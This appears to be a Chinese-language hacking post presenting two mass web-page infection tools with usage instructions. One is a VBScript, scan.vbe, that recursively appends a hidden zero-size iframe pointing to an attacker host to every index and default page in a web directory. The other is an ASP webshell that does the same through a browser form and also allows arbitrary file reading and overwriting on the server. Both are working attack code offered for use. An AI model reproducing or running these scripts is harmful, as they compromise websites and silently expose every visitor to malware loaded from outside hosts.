scan.vbe
cscript scan.vbe web目录
程序代码：
'版权信息
br="************************************" & vbcrlf
br=br & "* vbs 批量挂马脚本 *" & vbcrlf
br=br & "* by banlg *" & vbcrlf
br=br & "************************************" & vbcrlf & vbcrlf
br=br & "cscript scan.vbe d:\" & vbcrlf
'马的地址
ma="</script><iframe height=0 width=0 src=" & chr(34) & "http://www.hacker.com.cn"&chr( ... t;</iframe>"
'要挂马的页面如果嫌不够还可以自己再加，记得要用”|”隔开
mystring="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"
'以"|"为分隔符拆分成数组
myarray = split(mystring, "|", -1, 1)
web=wscript.arguments(0)
'如果web为空退出脚本
if web="" then
wscript.echo (br)
window.close
end if
wscript.echo (br) & "马的地址：" & ma & vbcrlf & vbcrlf
'创建对象
set fso = createobject("scripting.filesystemobject")
'开始扫描挂马
scan(web)
'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾
sub scan(filesder)
set filesder=fso.getfolder(filesder)
'得到当前目录的所有文件集合
set files=filesder.files
'获取文件名
for each fext in files
set file1 = fso.getfile(fext)
filesext=file1.name
'把文件名转换成小写字母
ext=lcase(filesext)
for each index in myarray
'判断文件是不是我们在mystring里限定的文件，如果是就写马
if ext=lcase(index) then
set ts = fso.opentextfile(fext,8) '打开文件并在文件末尾进行写操作
ts.writeline(ma)
ts.close
echo=""
echo=fext & " .............ok"
wscript.echo (echo)
end if
next
next
set subfolders=filesder.subfolders
for each subfolder in subfolders '搜索其他目录,递归调用
scan(subfolder)
next
end sub
fso挂马.asp
传进服务器以后 直接输入需要挂马的路径就可以直接挂了
程序代码：
<%server.scripttimeout=10000
response.buffer=false
%>
<html>
<head>
<title></title>
<**** http-equiv="content-type" content="text/html; charset=gb2312">
</head>
<body>
<%
asp_self=request.servervariables("path_info")
s=request("fd")
ex=request("ex")
pth=request("pth")
newcnt=request("newcnt")
if ex<>"" and pth<>"" then
select case ex
case "edit"
call file_show(pth)
case "save"
call file_save(pth)
end select
else
%>
<form action="<%=asp_self%>" method="post">
folder (absolute path):
<input type="text" name="fd" size="40">
<input type="submit" value="submit">
</form>
<%end if%>
<%
function ispattern(patt,str)
set regex=new regexp
regex.pattern=patt
regex.ignorecase=true
retval=regex.test(str)
set regex=nothing
if retval=true then
ispattern=true
else
ispattern=false
end if
end function
if ispattern("[^ab]{1}:{1}(\\|\/)",s) then
sch s
else
if s<>"" then response.write "invalid agrument!"
end if
sub sch(s)
on error resume next
set fs=server.createobject("scripting.filesystemobject")
set fd=fs.getfolder(s)
set fi=fd.files
set sf=fd.subfolders
for each f in fi
rtn=f.path
step_all rtn
next
if sf.count<>0 then
for each l in sf
sch l
next
end if
end sub
sub step_all(agr)
retval=ispattern("(\\|\/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)
if retval then
step1 agr
step2 agr
else
exit sub
end if
end sub
%>
<%sub step1(str1)%>
<a href="<%=asp_self%>?ex=edit&pth=<%=str1%>" target="_blank"><%=str1%></a><br>
<%end sub%>
<%
sub step2(str2)
addcode="<iframe src=http://www.21o.net/mm/mm.htm(修改为你的马的地址，不要加""不然会出错) width=0 height=0 frameborder=0></iframe>"
set fs=server.createobject("scripting.filesystemobject")
isexist=fs.fileexists(str2)
if isexist then
set f=fs.getfile(str2)
set f_addcode=f.openastextstream(8,-2)
f_addcode.write addcode
f_addcode.close
set f=nothing
end if
set fs=nothing
end sub
%>
<%
sub file_show(fname)
set fs1=server.createobject("scripting.filesystemobject")
isexist=fs1.fileexists(fname)
if isexist then
set fcnt=fs1.opentextfile(fname)
cnt=fcnt.readall
fcnt.close
set fs1=nothing%>
file: <%=fname%>
<form action="<%=asp_self%>" method="post">
<textarea name="newcnt" cols="100" rows="30"><%=cnt%></textarea>
<input type="hidden" name="pth" value="<%=fname%>">
<input type="hidden" name="ex" value="save">
<input type="submit" value="save">
</form>
<%else%>
<p>the file is not exit or have deleted.</p>
<%
end if
end sub
%>
<%
sub file_save(fname)
set fs2=server.createobject("scripting.filesystemobject")
set newf=fs2.createtextfile(fname,true)
newf.write newcnt
newf.close
set fs2=nothing
response.write "<p>the file was modified successfully.</p>"
end sub
%>
</body>
</html>
